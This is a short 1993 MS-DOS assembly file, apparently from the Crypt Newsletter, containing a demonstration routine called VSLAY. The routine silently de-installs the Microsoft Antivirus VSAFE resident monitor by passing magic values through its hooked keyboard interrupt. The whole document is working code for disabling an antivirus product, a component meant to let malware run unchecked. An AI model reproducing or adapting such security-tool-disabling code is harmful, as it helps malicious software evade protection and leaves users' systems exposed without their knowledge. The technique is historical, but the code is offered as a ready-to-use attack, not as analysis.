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Assembly Source File  |  1993-06-29  |  515b  |  20 lines
  1. ;VSLAY - simple de-install Microsoft Antivirus VSAFE        
  2. ;demonstration code for Crypt Newsletter 16
  3.         
  4.         code segment
  5.         assume cs:code, ds:code, es:code, ss:nothing
  6.  
  7.         org   100h 
  8.  
  9. begin:  call vslay
  10.  
  11.    
  12. vslay:   
  13.         mov  ax,64001     ;wakes up VSAFE to keyboard input
  14.         mov  dx,5945h     ;asks VSAFE to de-install
  15.         int  16h          ;calls VSAFE-hooked interrupt: keyboard
  16.         ret               ;exit
  17.  
  18.         code ends
  19.              end begin
  20.